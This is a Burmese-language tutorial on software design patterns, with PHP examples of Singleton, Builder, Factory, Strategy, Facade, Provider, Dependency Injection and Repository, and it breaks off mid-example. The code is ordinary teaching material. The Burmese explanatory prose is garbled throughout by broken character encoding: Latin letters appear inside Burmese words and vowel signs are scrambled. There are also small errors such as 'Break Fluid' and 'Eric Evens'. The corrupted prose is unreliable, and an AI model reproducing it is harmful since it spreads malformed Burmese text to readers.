တည်ကြေဆာက်ခွင့်gပုချင်တယ်၊  တစ်ခုထက်ပုိပြပီး  တည်ကြေဆာက်ခွင့်မgပုချင်yူး ဆိုတဲ့လုိအပ်ချက်မျ ို း  ရှိလာ
တတ်ပါတယ်။ ဥပမာ  Setting Object  ဆိုပါစို။့  Object  နှစ်ခုသုံးခု  ရှိကြေနရင်  Object  တစ်ခုက သတ်မှတ်
လုိက်တဲ့ Setting တန်oုိးကို တgခား Object ကကြေgပာင်းလုိက်မိလုိ့ အဆင်မကြေgပတာမျ ို းကြေတွ goစ်နိုင်ပါတယ်။
ဒီလုိမgoစ်ကြေစချင်ရင်ကြေတာ့ Singleton Pattern ကိုသုံးgပု  Object တစ်ခုထက်ပုိကြေဆာက်လုိ့ မရကြေအာင် ကန့်
သတ်လုိက်နိုင်ပါတယ်။ ဒီလုိကြေရးရပါတယ်။

 PHP 

<?php

class Setting
{
    static $setting = null;

    public $dark = 0;
    
    protected function __construct()
    {
        //
    }

    static function create()
    {
        if(!static::$setting) {
            static::$setting = new static;
        }
        
        return static::$setting;
    }
}

$setting1 = Setting::create();
$setting1->dark = 1;

$setting2 = Setting::create();
echo $setting2->dark;    // 1
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နမူနာအရ Setting Class ရဲ့ Constructor ဟာ Protected goစ်ကြေနတဲ့အတွက် new Statement နဲ့ Object
တည်ကြေဆာက်ခွင့်ကို မကြေပးကြေတာ့ပါyူး။ Object တည်ကြေဆာက်လုိရင် create() Static Method ကို သံုး
ရကြေတာ့မှာပါ။ create() Method က $setting Property ထဲမှာ သိမ်းထားတဲ့ Setting Object ရှိမရှိ
စစ်ပြပီး မရှိရင်  new static နဲ့  Object တည်ကြေဆာက်ပြပီး ထည့်သိမ်းကြေပးလုိက်ပါတယ်။ Object  ရှိကြေနပြပီး
goစ်ရင်ကြေတာ့ ရှိတဲ့ Object ကိုပဲ gပန်ကြေပးလုိက်မှာပါ။ အသစ်မကြေဆာက်ကြေတာ့ပါyူး။

ဒါကြေeကာင့် Setting::create() နဲ့ ပထမအကြကိမ် Object တည်ကြေဆာက်စဉ်မှာ Object အသစ်ကိုရပါ
တယ်။ ဒါကြေပမယ့် ကြေနာက်တစ်ကြကိမ်  Setting::create() နဲ့  Object  တည်ကြေဆာက်တဲ့အခါ  Object
အသစ်ကို  မရပါyူး၊  နင်္ဂိုရှိကြေနပြပီး  goစ်တဲ့  Object  ကို  gပန်ရမှာပဲ  goစ်ပါတယ်။  ဒါကြေeကာင့်  နမူနာမှာ
$setting2->dark တန်oုိးက  မူလသတ်မှတ်ထားတဲ့  0  မဟုတ်yဲ  $setting က  သတ်မှတ်
ကြေပးလုိက်တဲ့ 1 goစ်ကြေနတာပါ။ $setting1 နဲ့ $setting2 နှစ်ခုgoစ်ကြေနကြေပမယ့် Object က တစ်ခုထဲ မုိ့
လုိပ့ါ။

လက်ကြေတွ့ကြေရးသားတဲ့ကုဒ်က တစ်ကြေယာက်နဲတ့စ်ကြေယာက် တူချင်မှ တူပါလိမ့်မယ်။ ဒါကြေပမယ့် လုိရင်းအချုပ်
goစ်တဲ့  Object  တစ်ခုထဲကိုသာ တည်ကြေဆာက်ခွင့်ကြေပးတဲ့  ဒီလုိသကြေyာသyာဝမျ ို းကို  Singleton  လုိ့ကြေခါ်
တယ်ဆိုတာကို မှတ်သားရမှာပဲ goစ်ပါတယ်။ 

Builder Pattern
ပုံမှန်အားgoင့်  Object  တစ်ခုတည်ကြေဆာက်လုိတဲ့အခါ  သတ်မှတ်လုိတဲ့  Property  ကြေတွကို  Constructor
Argument  အကြေနနဲ့  ကြေပးeကရကြေလ့ရှိပါတယ်။  Builder  Pattern  ကိုအသုံးgပုရင်ကြေတာ့  ပထမဆံုး  Builder
Object  တစ်ခု  တည်ကြေဆာက်ရပါတယ်။ အ့ဲဒီ  Builder Object  မှာ သိမ်းချင်တဲ့  တန်oုိးကြေတွ သိမ်းထားပြပီး
ကြေနာက်ဆံုးမှ အ့ဲဒီတန်oုိးကြေတွနဲ ့လုိချင်တဲ့ Object ကို တည်ကြေဆာက်ယူတာပါ။ ဒီလုိပါ –

$builder = new Builder();
$builder->property1 = value1;
$builder->property2 = value2;

$object = $builder->build();
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နမူနာအရ $builder Object   မှာ သတ်မှတ်လုိတဲ့   Property   ကြေတွ တစ်ခုပြပီးတစ်ခု သတ်မှတ်ပါတယ်။ စံု  
ပြပီဆိုကြေတာ့မှ    build()   Method   နဲ့ အမှန်တစ်ကယ် လုိချင်တဲ့    Object    ကို တည်ကြေဆာက်ယူလုိက်တာပါ  ။
ဒီနည်းကလည်း  အသုံးဝင်ပါတယ်။  ဥပမာ  Profile  Object  တစ်ခတုည်ကြေဆာက်oုိအ့တွက်  User  ဆီက
အမည်  ကြေမးမယ်၊  ရပြပီဆိုရင်  Profile  Builder  မှာထည့်ထားလုိက်မယ်။  oုန်းနံပါတ်  ကြေမးမယ်၊  ရပြပီဆိုရင်
Profile Builder  မှာ ထည့်ထားလုိက်မယ်။ ပြပီးကြေတာ့မှ  Profile Object  ကို  တည်ကြေဆာက်လုိက်မယ်ဆိုရင်
User ဆီက အကုန်လံုး တစ်ခါထဲ မရလည်း ကိစ္စမရှိကြေတာ့ပါyူး။ ရတဲ့တန်oုိးကြေတွ တစ်ခုချင်းသတ်မှတ်သွား
လုိက်လုိ့ ရသွားမှာ goစ်ပါတယ်။

 PHP 

<?php

class ProfileBuilder
{
    private $name;
    private $phone;

    public function setName($name)
    {
        $this->name = $name;

        return $this;
    }

    public function setPhone($phone)
    {
        $this->phone = $phone;

        return $this;
    }

    public function getName()
    {
        return $this->name;
    }

    public function getPhone()
    {
        return $this->phone;
    }
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    function build()
    {
        return new Profile($this);
    }
}

class Profile
{
    public $name;
    public $phone;

    public function __construct(ProfileBuilder $pb)
    {
        $this->name = $pb->getName();
        $this->phone = $pb->getPhone();
    }

    static function builder()
    {
        return new ProfileBuilder();
    }
}

$user = Profile::builder()
->setName("Alice")
->setPhone("321456")
->build();

var_dump($user);

// object(Profile){ ["name"]=> "Alice" ["phone"]=> "321456" }

နမူနာမှာ ProfileBuilder ကိုအသုံးgပုပြပီး name နဲ့ phone တိုက့ို setName() နဲ့ setPhone()
Method ကြေတွရဲ့အကူအညီနဲ ့သတ်မှတ်နိုင်ပါတယ်။ build() လုိ့ကြေgပာလုိက်ကြေတာ့မှ သူက Profile Object
ကိုတည်ကြေဆာက်ကြေပးသွားမှာပါ။  ဒီကြေရးဟန်ကို  Builder  Pattern  လုိ့ကြေခါ်ပြပီး  Laravel  မှာကြေတာ့ အလားတူ
ကြေရးဟန်မျ ို းနဲ့ကြေရးသားထားတဲ့ ကုဒ်ကြေတွကို Manager လုိ ့ကြေခါ်တာကို ကြေတွ့ရပါတယ်။   
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Factory
Factory Pattern ဟာလည်း Builder Pattern လုိပဲ Object တည်ကြေဆာက်ကြေပးတဲ့ Pattern တစ်မျ ို း goစ်ပါ
တယ်။ ဥပမာ - အခုလုိ Profile Class တစ်ခရုှိတယ်ဆိုeကပါစို။့

 PHP 

<?php

class Profile
{
    private $name;
    private $phone;

    public function __construct($name, $phone)
    {
        $this->name = $name;
        $this->phone = $phone;
    }
}

yာမှရှုပ်ကြေထွးတဲ့  လုပ်ကြေဆာင်ချက်ကြေတွ  မပါပါyူး။  $name နဲ့  $phone ကိုလက်ခံပြပီး  Property  ကြေတွ
ကြေgပာင်းကြေပးတဲ့  Class တစ်ခုပါ။ အ့ဲဒီ Class ကို အသံုးgပုပြပီး Object တည်ကြေဆာက်လုိကြေပမယ့် Data ကြေတွက
အခုလုိပုံစံ ရှိကြေနတယ် ဆိုeကပါစို့ –

$data = [
    [ "name" => "Alice", "phone" => "321456" ],
    [ "name" => "Bob" ],
    [ "name" => "Tom", "phone" => "654123" ],
];

ဒီ  Data  ကို  အသုံးgပုပြပီး  Profile  Object  တည်ကြေဆာက်လုိရင်  Array  ထဲက  Data  ကို  ထုတ်ယူတာကြေတ၊ွ
လုိချင်တဲ့  Data  မှန်/မမှန်  စစ်တာကြေတွ  လုပ်ရပါမယ်။  အ့ဲဒါကြေတွကို  Manual    လုပ်မကြေနပဲ၊  အ့ဲဒီအလုပ်ကြေတွ  
လုပ်ပြပီး    Profile Object    တည်ကြေဆာက်ကြေပးနိုင်တဲ့   ProfileFactory ကို အခုလုိ oန်တီးယူလုိက်လုိ့  ရ
နိုင်ပါတယ်။
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 PHP 

<?php

class ProfileFactory
{
    private $data;

    public function __construct($data)
    {
        $this->data = $data;
    }

    public function create()
    {
        $result = [];

        foreach($this->data as $data) {
            $name = $data['name'] ?? "Unknown";
            $phone = $data['phone'] ?? "N/A";
            $result[] = new Profile($name, $phone);
        }

        return $result;
    }
}

$pf = new ProfileFactory($data);
$profiles = $pf->create();

ကြေပးလုိက်တဲ့  Data ကို လက်ခံစစ်ကြေဆးပြပီး  Profile Object ကြေတွ တည်ကြေဆာက်ကြေပးသွားမှာပါ။ အကြေသးစိတ်
ကြေရးဟန်မှာ  တစ်ကြေယာက်နဲတ့စ်ကြေယာက်  ကွာသွားနိုင်ကြေပမယ့်  လုိရင်းအချုပ်goစ်တဲ့  Data  ကြေပးလုိက်ရင်
Object တည်ကြေဆာက်ကြေပးတဲ့ ဒီနည်းကို Factory Pattern လုိ့ကြေခါ်တာပါ။

Strategy
Strategy Pattern  ကကြေတာ့ အမျ ို းအစားတူကြေပမယ့် အကြေသးစိတ်လုပ်ကြေဆာင်ချက် ကွဲgပားတဲ့  Object  ကြေတွ
ကို  အကြေgခအကြေနကြေပါ်မူတည်ပြပီး  gပန်ကြေပးနိုင်တဲ့  ကြေရးဟန်ပါ။  ဒါနဲပ့က်သက်ရင်  Payment  ကို  နမူနာကြေပးeက
ကြေလ့ ရှိပါတယ်။ ဥပမာ -  ကြေငွသားနဲ့ကြေပးမယ်ဆိုရင် လုပ်ရမယ့် အလုပ်ကြေတွအတွက်  Object  တစ်ခ၊ု  Card နဲ့
ကြေပးမယ်ဆိုရင် လုပ်ရမယ့် အလုပ်ကြေတွအတွက် Object တစ်ခု၊ Mobile Money နဲ့ ကြေပးမယ်ဆိုရင် လုပ်ရမယ့်
အလုပ်ကြေတွကတစ်ခု၊ ခွဲထားပြပီး Payment gပုလုပ်ချနိ်မှာ Payment Strategy Object က User ကြေရွးချယ်တဲ့
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Option  ကြေပါ်မှာတည်ပြပီး  သင့်ကြေတာ်တဲ့  Payment Object  ကို  အလုပ်လုပ်သွားကြေစတဲ့  နည်းလမ်းမျ ို းပါ။  ဒီ
နည်းနဲ့ ကြေနာက်ပုိင်းမှာ Paypal တို့ Crypto တို့ ထပ်တိုးချင်တယ်ဆိုရင်လည်း Payment ကို gပင်စရာမလုိyဲ
Strategy   မှာ ထပ်တိုးလုိက်ယံုနဲ့   ရသွားနိုင်ကြေစလုိ ့လူသုံးများတဲ့ ကြေရးဟန်တစ်ခုပါပဲ။

 PHP 

<?php

interface PaymentInterface
{
    public function amount();
}

class CashPayment implements PaymentInterface
{
    public function amount()
    {
        return 100;
    }
}

class MobilePayment implements PaymentInterface
{
    public function amount()
    {
        return 90;
    }
}

ဒါဟာ Payment Interface ကိုအသုံးgပုပြပီး Payment Method ကြေတွ အမျ ို းမျ ို း Implement လုပ်ထားလုိက်
တာပါ။  အ့ဲဒီ  Payment Method  ကြေတွကို  User  ကြေပးတဲ့  Context  ကြေပါ်မူတည်ပြပီး  ကြေရွးချယ်အလုပ်လုပ်တဲ့
Class တစ်ခုကို အခုလုိကြေရးလုိရ့သွားပါပြပီ။

 PHP 

<?php

class Payment
{
    private $paymentMethod;
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    public function pay($context)
    {
        switch($context) {
            case "cash":
                $this->paymentMethod = new CashPayment;
                break;
            case "mobile":
                $this->paymentMethod = new MobilePayment;
                break;
            default:
                $this->paymentMethod = new CashPayment;
        }

        return $this->paymentMethod->amount();
    }
}

ဒါကြေeကာင့်  User  က  Cash  နဲ့ကြေပးoုိက့ြေရွးချယ်ရင်  Cash  Payment  အလုပ်လုပ်သွားပြပီး  Mobile  နဲ့ကြေပးoုိ့
ကြေရွးချယ်ရင် Mobile Payment အလုပ်လုပ်သွားမှာပါ။

$payment = new Payment;

echo $payment->pay("cash") . "USD";    // 100USD
echo $payment->pay("mobile") . "USD";    // 90USD

ဒီနည်းနဲ့  Payment  ချင်းအတူတူ  Mobile  နဲ့ကြေပးရင်  10%  ကြေလျှာ့ကြေပးတယ်ဆိုတဲ့  လုပ်ကြေဆာင်ချက်မျ ို းကို
Implement လုပ်လုိရ့သွားgခင်းပဲ goစ်ပါတယ်။

Facade
Facade Pattern ဆိုတာကကြေတာ့ ရှုပ်ကြေထွးတဲ့ လုပ်ကြေဆာင်ချက်ကြေတွကို သံုးရလွယ်သွားကြေအာင် eကားခံထား
ကြေပးတဲ့ ကြေရးဟန်goစ်ပါတယ်။ ဥပမာ -  ကားတစ်စီးကို စက်နိှုးoုိအ့တွက် အင်င်္ဂျင်ဝုိင်စစ်ရမယ်၊ yရတိ် စစ်ရ
မယ်၊ ဆီရှိမရှိ စစ်ရမယ် စသည်goင့်လုပ်ရမယ့်အလုပ်ကြေတွ အများကြကီးရှိနိုင်ပါတယ်။ အ့ဲဒါကြေတွကို မှတ်ရခက်
သလုိ လုပ်ရတာလည်း ခက်ပါတယ်။ ဒါကြေeကာင့် start() လုိ့ကြေgပာလုိက်တာနဲ့ ကြကိုတင်သတ်မှတ်ထားတဲ့
လုပ်ရမယ့်  အလုပ်ကြေတွကို  တန်စီပြပီးလုပ်ကြေပးနိုင်မယ့်  eကားခံတစ်ခု  ထားလုိက်မယ်ဆိုရင်ကြေတာ့  သုံးရတာ
လွယ်သွားမှာ goစ်ပါတယ်။ ဒီလုိပါ –  
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 PHP 

<?php

class CheckOilPressure
{
    public function check()
    {
        echo "Oil Pressure OK.";
    }
}

class CheckBreakFluid
{
    public function check()
    {
        echo "Break Fluid OK.";
    }
}

class Car
{
    public $oil;

    public $break;

    public function __construct()
    {
        $this->oil = new CheckOilPressure;
        $this->break = new CheckBreakFluid;
    }

    public function start()
    {
        $this->oil->check();
        $this->break->check();

        echo "Car Engine Started.";
    }
}

$car = new Car;
$car->start();

နမူနာအရ ကားစက်နိှုးoုိအ့တွက်  yာပြပီးရင်yာလုပ်ရတယ်ဆိုတာကို  မှတ်စရာမလုိကြေတာ့yဲ  Car Object
ကြေပါ်မှာ start() လုိ့ကြေgပာလုိက်ယုံနဲ့ အစဉ်ကြေgပသွားကြေစတဲ့သကြေyာပဲ goစ်ပါတယ်။ ထံုးစံအတိုင်း ဒီသကြေyာ
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မျ ို းနဲ့ကြေရးတဲ့ ကြေရးဟန်ကို Facade Pattern လုိ့ကြေခါ်ကြေပမယ့် လက်ကြေတွ့အသုံးချမှုကကြေတာ့ တစ်ကြေယာက်နဲတ့စ်
ကြေယာက် ကွဲgပားနိုင်ပါတယ်။ Laravel မှာဆိုရင် ဒီလုိ Facade Class မျ ို းကို သုံးထားပါတယ် –

 PHP 

<?php

class Facade
{
    static function __callStatic($name, $args)
    {
        $name = strtoupper($name);
        $arg = $args[0] ?? "/";

        echo "Sending $name to $arg";
    }
}

class Route extends Facade
{
    //
}

Route::get("/comments");

// Sending GET to /comments

Route::post();

// Sending POST to /

__callStatic() Magic  Method  ရဲ့  အကူအညီနဲ့  Class  Name  ကြေပါ်မှာ  လုိချင်တဲ့  Method  ကို
ကြေပးလုိက်ယုံနဲ့ ကြေနာက်ကွယ်က လုပ်ရမယ့် ရှုပ်ကြေထွးတဲ့ အလုပ်ကြေတွကို လုပ်ကြေပးကြေအာင် စီစဉ်ထားတာပါ။ ဒါ
ကြေeကာင့် သုံးတဲ့သူအတွက် အရမ်းလွယ်သွားပါတယ်။  Framework  ထဲမှာ တစ်ကယ်ကြေရးထားတဲ့  ကုဒ်ကြေတွ
ကကြေတာ့ ဒီထက်အများကြကီး ပုိရှုပ်ကြေထွးတာကြေပါ။့ ဒီနမူနာက နားလည်လွယ်ကြေအာင် အလွန်အမင်း  Simplify
လုပ်ကြေပးထားတဲ့  နမူနာတစ်ခုပါ။  ဒီကြေရးဟန်မျ ို းကို  Laravel  မှာ  အကြေgမာက်အများကြေတွ့ရပါလိမ့်မယ်။  ဒါ
ကြေeကာင့် Simplify လုပ်ထားတယ် ဆိုကြေပမယ့်၊ ဒီကြေလာက်အုိင်ဒီယာကြေလး ကြေခါင်းထဲဝင်ထားတဲ့အတွက် ဆက်
ကြေလ့လာရတာ ပုိအဆင်ကြေgပသွားမှာပါ။
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Provider
Provider Pattern ကကြေတာ့ GoF Patterns ကြေတွထဲမှာ မပါပါyူး။ Microsoft .NET Framework မှာ စတင်
အမည်ကြေပး အသုံးgပုခဲ့ပြပီး အခုကြေနာက်ပုိင်းမှာ Laravel တို့ Angular တိုအ့ပါအဝင် တgခား Framework ကြေတွ
မှာလည်း အသုံးများလာeကပါတယ်။ နမူနာကြေလ့လာနိုင်oုိ့အတွက် အခုလုိ Log Class နှစ်ခု ရှိတယ်ဆိုeကပါ
စို။့

 PHP 

<?php

interface Log
{
    public function write();
}

class Text implements Log
{
    public function write() {
        echo "Saving to text file";
    }
}

class Memory implements Log
{
    public function write() {
        echo "Saving on memory";
    }
}

ပြပီးတဲ့အခါ  Service Container Class  တစ်ခုကြေရးပြပီး အ့ဲဒီ  Service Container  ထဲမှာ  Log Class  ကြေတွကို
သိမ်းထားလုိက်ပါမယ်။
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 PHP 

<?php

class Services
{
    public $container = [];

    public function register($name, $class)
    {
        $this->container[$name] = $class;
    }
}

$services = new Services;
$services->register("text", Text::class);
$services->register("memory", Memory::class);

တစ်ကယ်ကြေတာ့ Service Container က Singleton goစ်သင့်ပါတယ်။ ဒီကြေတာ့မှ သိမ်းထားတဲ့ Class ကြေတွက
တစ်စတုစ်စည်းထဲ goစ်မှာပါ။ ဒါကြေပမယ့် ကုဒ်တိုချင်လုိ့  နမူနာအကြေနနဲ့  ရုိးရုိးပဲ ကြေရးထားပါတယ်။ အခုဆိုရင်
Service နှစ်ခုပါဝင်တဲ့ Service Container Object တစ်ခု ရသွားပါပြပီ။ ပြပီးတဲ့အခါ Service Provider ဆက်
ကြေရးပါမယ်။ သူက အကြေgခအကြေနကြေပါ်မူတည်ပြပီး Container ထဲက သင်ကြေတာ်တဲ့ Object ကို gပန်ကြေပးမှာပါ။

 PHP 

<?php

class Provider
{
    public $services;

    public function __construct($services)
    {
        $this->services = $services->container;
    }

    public function make($service)
    {
        if(isset($this->services[$service]))
            return new $this->services[$service];
        
        // else Error: Service doesn't exist
    }
}
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Provider ရဲ့ make() Method က လုိချင်တဲ့ Service Object ကို Container ထဲကကြေန နိှုက်ယူပြပီး gပန်ကြေပး
မှာပါ။ ဒီလုိပါ –

$provider = new Provider($services);

$log = $provider->make("text");
$log->write();      // Saving to text file

$log = $provider->make("memory");
$log->write();      // Saving on memory

Provider  Object  တည်ကြေဆာက်တဲ့အခါ  ကြေစာကြေစာက  Service  ကြေတွ  Register  လုပ်ထားတဲ့  Service
Container Object ကို ကြေပးထားတာကို သတိgပုပါ။ ဒီနည်းနဲ့  လုိချင်တဲ့    Service   ကို ကြေgပာင်းသုံးလုိရ့နိုင်တဲ့  
Provider Pattern ကိုရသွားပါတယ်။ တစ်ချ ို ့ကလည်း ဒီ Pattern ဟာ Strategy Pattern နဲ့ ဆင်တယ်လုိ့
ကြေgပာeကပါတယ်။ သကြေyာyသာဝ ဆင်ကြေပမယ့် အသုံးချoုိ့သင့်ကြေတာ်တဲ့ကြေနရာကြေတာ့ မတူeကပါyူး။

Dependency Injection
Dependency Injection ဆိုတာ အထက်က SOLID ရဲ့  Dependency Inversion မူကို လက်ကြေတွ့အသုံးချ
တဲ့  ကြေရးဟန်ပါ။  လုိအပ်တဲ့လုပ်ကြေဆာင်ချက်ကို  အကြေသကြေရးထားမယ့်အစား၊  Inject  ထည့်သွင်းပြပီး  ကြေရးလုိ့
ရကြေအာင် စီစဉ်ထားလုိက်တဲ့အခါ ပုိပြပီးကြေတာ့ အသုံးဝင်သွားမှာပါ။ ဥပမာ –

 PHP 

<?php

class TextLogger
{
    public function write($log) {
        // Save $log to text file
        echo $log;
    }
}
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class App
{
    public function run()
    {
        $logger = new TextLogger;
        $logger->write("App is running");
    }
}

$app = new App;
$app->run(); // App is running

ဒါက  ရုိးရုိးကြေရးထားတဲ့ကုဒ်ပါ။  App  Class  အတွင်းမှာ  TextLogger ကို  အသံုးgပုထားပါတယ်။  ဒီလုိ
အကြေသထည့်သွင်းကြေရးသားထားတဲ့အတွက် App ဟာ TextLogger တစ်မျ ို းထဲနဲသ့ာ အလုပ်လုပ်ကြေတာ့မှာ
ပါ။  တgခား  Logger  အမျ ို းအစားကြေတွ  ကြေgပာင်းလဲအသုံးgပုချင်လုိ့  မရနိုင်ကြေတာ့ပါyူး။  ဒါကြေeကာင့်
Dependency Injection ကြေရးဟန်ကိုအသုံးgပုပြပီး အခုလုိgပင်လုိက်ပါမယ်။

 PHP 

<?php

interface Log
{
    public function write($log);
}

class TextLogger implements Log
{
    public function write($log) {
        // Save $log to text file
        echo $log;
    }
}

class DatabaseLogger implements Log
{
    public function write($log) {
        // Save $log to database
        echo $log;
    }
}
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class App
{
    private $logger;

    public function __construct(Log $logger)
    {
        $this->logger = $logger;
    }

    public function run()
    {
        $this->logger->write("App is running");
    }
}

$app = new App(new TextLogger);
$app->run();

ဒီတစ်ခါကြေတာ့ App Class  နဲ့  Object တည်ကြေဆာက်ရင် Log Interface ကလာတဲ့  Object ကို ကြေပးရကြေတာ့
မှာပါ။  နမူနာမှာ  Object  တည်ကြေဆာက်စဉ်  TextLogger ကိုကြေပးလုိက်လုိ့  အလုပ်လုပ်တဲ့အခါ
TextLogger နဲ့ အလုပ်လုပ်သွားမှာပါ။ အကယ်၍ အခုလုိ DatabaseLogger ကိုကြေပးလုိက်မယ်ဆိုရင်
DatabaseLogger နဲ ့ကြေgပာင်းလဲအလုပ်လုပ်ကြေပးသွားမှာပဲ goစ်ပါတယ်။

$app = new App(new DatabaseLogger);
$app->run();

ဒီကြေရးနည်းကို  Dependency  Injection  လုိ့ကြေခါ်တာပါ။  ကြေရးနည်းက  ရုိးရုိးကြေလးနဲ့  ပုိပြပီးကြေတာ့  ကြေကာင်းမွန်
အသုံးဝင်တဲ့  ကုဒ်ကို  ရရှိသွားမှာပဲ  goစ်ပါတယ်။  Dependency  Injection  ကို  Factory  Pattern  ကြေတွ
Provider Pattern ကြေတွနဲ့ ကြေပါင်းစပ်လုိက်တဲ့အခါမှာကြေတာ့ Laravel လုိ Framework မျ ို းကြေတွက ကြေပးထားတဲ့
အလွန်ကျယ်gပန့်တဲ့ Service Container လုပ်ကြေဆာင်ချက်ကြေတွကို ရရှိသွားနိုင်ပါတယ်။

တစ်ကယ့်ကုဒ်အစစ်ကို အကုန်စံုကြေအာင် ကြေgပာလုိ့မရကြေပမယ့် သကြေyာသyာဝကြေလးကြေလာက်ကြေတာ့ ထည့်ကြေgပာ
ချင်ပါတယ်။ ကြေစာကြေစာက Provider Pattern မှာ Services ကြေတွ Register လုပ်ခဲ့တာကို မှတ်မိeကဦးမှာပါ။
ဒီလုိပါ – 
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$services = new Services;
$services->register("text", Text::class);
$services->register("memory", Memory::class);

ဒီလုိ Register လုပ်စဉ်မှာ Service ကကြေနအသုံးgပုကြေစလုိတဲ့ Dependency ကြေတွကို တစ်ခါထဲ Inject လုပ်ပြပီး
ကြေပးလုိက်လုိ ့ရနိုင်ပါတယ်။ ဒီလုိပါ –

 Pseudocode 

$services->register("app", function() {
    return new App(new DatabaseLogger)
});

app ကို Service အကြေနနဲ့ Register လုပ်စဉ်ကထဲက လုိအပ်မယ့် Dependency ကို ထည့်ကြေပးလုိက်တာပါ။
ဒါကြေeကာင့် – 

 Pseudocode 

$app = $provider->make("app");

လုိ့ကြေgပာလုိက်ချနိ်မှာ  $app Object  နဲ့အတူ  Inject  လုပ်ပြပီးသား  Dependency  ကိုပါရရှိသွားမှာပဲ  goစ်ပါ
တယ်။ ဒီနည်းကကြေပးတဲ့  အားသာချက်ကကြေတာ့  Dependency  ကြေgပာင်းချင်ရင်  Service  ကို  Register  လုပ်
ချနိ်မှာ ကြေgပာင်းလုိက်ယုံနဲ ့ကျန်ကုဒ်ကြေတွကို gပင်စရာမလုိyဲ လုိချင်တဲ့ရလဒ်ကို ရရှိသွားမှာပါ။ ဒီလုိပါ – 

 Pseudocode 

$services->register("app", function() {
    return new App(new TextLogger)
});

နားလည်ရခက်ကြေနနိုင်ကြေပမယ့် နားလည်သွားရင်  အရမ်းမုိက်ပြပီး  စနစ်ကျတဲ့  ကြေရးဟန်ကို  ရရှိသွားမှာ  goစ်ပါ
တယ်။ ဒီကုဒ်ကိုလက်ကြေတွ့စမ်းလုိ့ကြေတာ့ရမှာ မဟုတ်ပါyူး။ သကြေyာသyာဝနားလည်ကြေအာင် ကြေoာ်gပကြေပးတဲ့
နမူနာကုဒ်သက်သက်ပါ။  Laravel  လုိ  Framework မျ ို းမှာ ဒီလုပ်ကြေဆာင်ချက်ပါဝင်လုိ၊့ သကြေyာသyာဝကို
နားလည်ထားမယ်ဆိုရင် ကြေလ့လာလုိ့ ပုိကြေကာင်းသွားမှာgoစ်လုိ ့ထည့်သွင်းကြေoာ်gပgခင်း goစ်ပါတယ်။
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Repository
Repository  Pattern  ကိုလည်းကြေနာက်ပုိင်းမှာ  လူကြကိုက်များလာပါတယ်။  ဒီ  Pattern  ကလည်း  GoF
Pattern  ကြေတွထဲမှာ  မပါပါyူး။  Eric  Evens  လုိ့ကြေခါ်တဲ့  ပညာရှင်  တစ်ဦးကြေရးသားတဲ့  Domain  Driven
Design ဆိုတဲ့စာအုပ်မှာ ပါတဲ့ Pattern goစ်ပါတယ်။

လက်ကြေတွ့ပကြေရာင်္ဂျက်ကြေတွမှာ  Data  ကြေတွ  သိမ်းoုိအ့တွက်  Database  နည်းပညာကြေတွကို  သုံးeကပါတယ်။
Data  ကြေတွစီမံgခင်း၊  သိမ်းဆည်းgခင်း၊  ရယူgခင်း  လုပ်ငန်းကြေတွ  လုပ်oုိအ့တွက်လည်း  Pattern  ကြေတွ  ရှိeကပါ
ကြေသးတယ်။ တစ်ချ ို ့ yာ Pattern မှမသုံးyဲ SQL Query Language ကို တိုက်ရုိက်အသံုးgပု စီမံeကတယ်။
တစ်ချ ို ့က  Table  Gateway  Pattern  လုိ့ကြေခါ်တဲ့  Pattern  တစ်မျ ို းကို  သံုးeကတယ်။  တစ်ချ ို ့  Object
Relational  Mapping (ORM)  လုိ့ကြေခါ်တဲ့  Pattern  ကို  သုံးeကတယ်။ အမျ ို းမျ ို းပါပဲ။  ဒီနည်းပညာကြေတွကို
Data Layer သုိမ့ဟုတ် Data Abstraction လုိ့ကြေခါ်eကပါတယ်။ Repository Pattern ဆိုတာ အ့ဲဒီလုိ Data
ကြေတွ စီမံကြေပးနိုင်တဲ့ အလွှာနဲ့ Data ကို လက်ကြေတွ့အသုံးချမယ့် အလွှာတိုရ့ဲ့ eကားထဲကကြေန goည့်စွက်ကြေပးထား
တဲ့ ကြေနာက်ထပ် အလွှာတစ်ထပ် (Abstraction တစ်ခု) ပါပဲ။

စားကြေသာက်oွယ်ရာကြေတွကို  မီးoုိကြေချာင်ထဲမှာ  ချက်gပုတ်ကြေeကာ်ကြေလှာ်ပြပီး  အုိးထဲကကြေန တစ်ခါထဲ  နိှုက်စားရင်
လည်း ဗုိက်ကြေတာ့ဝမှာပါပဲ။ ဒါကြေပမယ့် ပန်းကန်ကြေလးနဲ့  ကြေသကြေသချာချာ သပ်သပ်ရပ်ရပ်ထည့်၊ ဇွန်းကြေလးyာ
ကြေလးတပ်ပြပီး၊  ထမင်းစား စားပဲွကြေပါ် ကျကျနနတင်ပြပီးမှ  စားကြေတာ့ ပုိအရသာရှိတာကြေပါ။့  ဒီလုိပါပဲ  Data  ကို
တစ်ခါထဲ  Database  ထဲကကြေန နိှုက်သုံးမယ့်အစား၊  Repository  ထဲ ထည့်၊ လုိအပ်သလုိ မွန်းမံပြပီးကြေတာ့မှ
အမှန်တစ်ကယ်အသံုးချမယ့် ကြေနရာကို ပုိ့ကြေပးလုိက်ကြေတာ့ ပုိပြပီးကြေတာ့ စနစ်ကျသွားတာကြေပါ။့

ဥပမာ ဒီလုိ Data ကြေတွစီမံကြေပးနိုင်တဲ့ Model Class နဲ့ အ့ဲဒီ Model ကိုအသုံးgပုထားတဲ့ App Class တို့ ရှိeက
တယ်ဆိုပါစို ့– 
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 PHP 

<?php

class Model
{
    public function save()
    {
        echo "Saving $this->name and $this->age";
    }
}

class App
{
    public function update($data)
    {
        $model = new Model;
        $model->name = $data['name'];
        $model->age = $data['age'];
        $model->save();
    }
}

$app = new App;
$app->update(["name" => "Alice", "age" => 22]);

// Saving Alice and 22

Model ရဲ့ save() က Property ကြေတွgoစ်eကတဲ့ name နဲ့ age တိုရ့ှိမှ အလုပ်လုပ်မှာပါ။ ဒါကြေeကာင့် App
က Model Object ကြေဆာက်ပြပီးတဲ့အခါ လုိအပ်တဲ့  Property  ကြေတွသတ်မှတ်ပါတယ်။ ပြပီးကြေတာ့မှ  Model  ရဲ့
save() နဲ့ Data ကြေတွကို သိမ်းကြေပးလုိက်တယ်လုိ့ သကြေyာထားရမှာပါ။ ဒီလုိ တိုက်ရုိက်အသံုးgပုမယ့်အစား
eကားထဲမှာ Repository တစ်လွှာထပ်ပြပီး ခံလုိက်လုိ ့ရနိုင်ပါတယ်။

 PHP 

<?php

class Model
{
    public function save()
    {
        echo "Saving $this->name and $this->age";
    }
}
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class Repository
{
    public function update($data)
    {
        $name = $data['name'] ?? "Unknown";
        $age = $data['age'] ?? "Unknown";

        $model = new Model;
        $model->name = $name;
        $model->age = $age;
        $model->save();
    }
}

class App
{
